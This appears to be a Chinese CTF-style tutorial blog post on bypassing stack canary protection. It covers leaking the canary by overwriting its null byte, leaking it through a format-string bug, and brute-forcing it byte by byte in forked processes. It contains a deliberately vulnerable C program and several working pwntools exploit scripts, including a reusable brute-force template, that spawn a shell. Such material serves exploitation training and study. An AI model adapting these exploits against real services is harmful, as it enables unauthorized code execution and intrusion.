原理

由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序

泄露方式

覆盖00字节读取

原理

由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以\x00为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将\x0a覆盖至canary结尾的\x00覆上,这样就能顺利的读出canary的数据了,之后再将cannary-\x0a即可得到真实的canary的数据

利用条件

  • 存在read/printf等读出字符串的函数

  • 可以两次栈溢出

    • 第一次是覆盖00字节,泄露canary
    • 第二次是利用canary进行攻击

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}

void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}

buf的大小在100字节,但是在canary保护下当输入的数据超过100字节后就会触发canary,不过当我们正好输入100个字符时,末尾自动添加的换行符\x0a便会将canary末尾的\x00覆盖,这样的话,程序代码中的printf(buf)就直接能将canary的内容读取出来了,之后再减去\x0a,拿canary的值填充至栈中,即可绕过canary保护完成栈溢出。

可以看到蓝框中的便是canary,末尾已经被0a填充,此时的canary是可以被printf直接读出的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
# from pwn import *

from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./cover_00")
elf = ELF("./cover_00")

padding = 100*"A"
sh.recvuntil("Hello Hacker!\n")
sh.sendline(padding)
sh.recvuntil(padding)
canary=u32(sh.recv(4))
canary = canary-ord('\n')
#由于canary的最后两字节被buf的换行符oa所覆盖,这里要减去才是真正的canary
success("Canary data => 0x%x",canary)
payload = padding
payload += p32(canary)
payload += "distance" #距离EBP的位置
payload += "ERet" #EBP的ret
payload += p32(elf.sym['getshell'])
sh.sendline(payload)
sh.interactive()

格式化字符串读取

原理

利用格式化字符串漏洞的任意读

由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p或者%x等当作一个数来读

条件

存在格式化字符串漏洞

示例

还是上面的程序,看源代码有print(buf)一行出现了格式化字符串漏洞,我们可以试着多打印一些地址的内容,找末尾始终为00的一串数据

在第31处便是我们要寻找的canary了,可以使用%31$p直接打印出来,之后的步骤同上一方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# coding:utf-8
from pwn import *
context.terminal=['tmux',"splitw","-h"]
context.log_level='debug'

sh = process("./cover_00")
elf = ELF("./cover_00")

payload1 = '%'+str(31)+'$'+'p'
sh.recvuntil("Hello Hacker!\n")
sh.sendline(payload1)
sh.recvuntil("0x")
canary=int(sh.recv(8),16)
success("canary => "+hex(canary))
payload2 = "a"*100
payload2 += p32(canary)
payload2 += "b"*8+"b"*4
payload2 += p32(elf.sym['getshell'])
sh.sendline(payload2)
sh.interactive()

One by one 爆破猜解

原理

对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存

最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。

如果某一位爆破成功 \x00\xXX将会覆盖当前的canary末尾的这两位,使之程序认为这便是原有的canary,所以程序会继续运行,反之则会报错,由此来判断是否爆破成功(这里 愚钝的我思考了很久很久…)。

利用条件

要求程序中有fork函数,可以使程序扩展子程序

示例

blasting_canary

IDA打开可以看到程序中有一个fork()函数再一直创建子程序, 基本步骤和上面一样,先填充100个字符占满buf之后我们一一尝试canary的前三个字节,利用不成功则崩溃的原理,我们可以写个循环挨个尝试每一位

image-20200912235505676

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
sh = process("./blasting_canary")
elf = ELF("./blasting_canary")
sh.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "------------- No." + str(k) + ":" + chr(i)+" -------------"
​ sh.send('a'*100 + canary + chr(i))
​ recv = sh.recvuntil("welcome\n")
print recv
if "sucess" in recv:
#当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
​ canary += chr(i)
#将其加入已知的canary中,继续爆破下一位
​ success("canary =>"+canary)
break
getshell = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(getshell)
sh.send(payload)
sh.interactive()

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

bin_elf = "./blasting_canary"
#global sh
sh = process(bin_elf)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
#偏移量,输入提示,正确提示
sh.recvuntil(input_prompt+'\n')
canary = '\x00'
for k in range(3):
for i in range(256):
success("Canary ->"+canary)
print "\n------------- No." + str(k) + ":" + chr(i)+" -------------"
sh.send('A'*offset + canary + chr(i))
recv = sh.recvuntil(input_prompt+"\n")
print "----"+recv
if "stack smashing detected" in recv:
continue
else:
#当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
canary += chr(i)
#将其加入已知的canary中,继续爆破下一位
success("Canary =>"+canary)
break
return canary

canary = blasting(100,"welcome")
payload = 'A' * 100 + canary + 'A' * 12 + p32(0x0804863B)
sh.send(payload)
sh.interactive()

学习参考


https://blog.csdn.net/chennbnbnb/article/details/103968714

https://blog.csdn.net/AcSuccess/article/details/104119680?utm_medium=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase

https://www.52pojie.cn/thread-932096-1-1.html